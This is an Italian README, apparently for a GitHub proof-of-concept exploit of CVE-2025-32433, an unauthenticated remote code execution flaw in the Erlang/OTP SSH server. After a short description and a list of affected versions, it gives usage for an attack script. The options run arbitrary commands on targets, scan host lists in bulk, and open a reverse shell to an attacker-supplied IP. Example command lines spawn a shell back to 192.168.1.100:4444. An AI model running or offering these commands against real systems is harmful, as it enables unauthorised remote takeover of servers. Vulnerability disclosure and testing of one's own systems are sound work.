omer-efe-curkus/cve-2025-32433-erlang-otp-ssh-rce-pocLa vulnerabilità consente a un attaccante con accesso di rete a un server SSH Erlang/OTP di eseguire codice arbitrario senza previa autenticazione.
La vulnerabilità consente a un aggressore con accesso di rete a un server SSH Erlang/OTP di eseguire codice arbitrario senza previa autenticazione.
È stata identificata una grave vulnerabilità nel server SSH Erlang/OTP che potrebbe consentire a un aggressore di eseguire codice in remoto senza autenticazione (RCE). Sfruttando un difetto nella gestione dei messaggi del protocollo SSH, un attore malintenzionato potrebbe ottenere accesso non autorizzato ai sistemi interessati ed eseguire comandi arbitrari senza disporre di credenziali valide. Ciò potrebbe portare alla compromissione di tali host, consentendo a terzi l'accesso non autorizzato e la manipolazione di dati sensibili, oppure attacchi di denial-of-service.
OTP-27.3.2 e versioni precedenti
OTP-26.2.5.10 e versioni precedenti
OTP-25.3.2.19 e versioni precedenti
python cve-2025-32433.py <host> [options]
Opzioni:
-p PORT, --port PORT: porta SSH (default: 22)
-t TIMEOUT, --timeout TIMEOUT: timeout di connessione in secondi (default: 5)
-c COMMAND, --command COMMAND: comando personalizzato da eseguire
--check: controlla se il target è vulnerabile
-u urls.txt, --urlfile urls.txt: file contenente l'elenco degli host da scansionare (uno per riga)
-o output.txt, --output output.txt: file di output per salvare i risultati.
--shell: avvia una reverse shell
--lhost LHOST: IP dell'attaccante per la reverse shell
--lport LPORT: porta dell'attaccante per la reverse shell (default: 4444)
python cve-2025-32433.py 127.0.0.1 --check
python cve-2025-32433.py 127.0.0.1 -c 'cat pwned.txt'
python cve-2025-32433.py 127.0.0.1 --shell --lhost 192.168.1.100 --lport 4444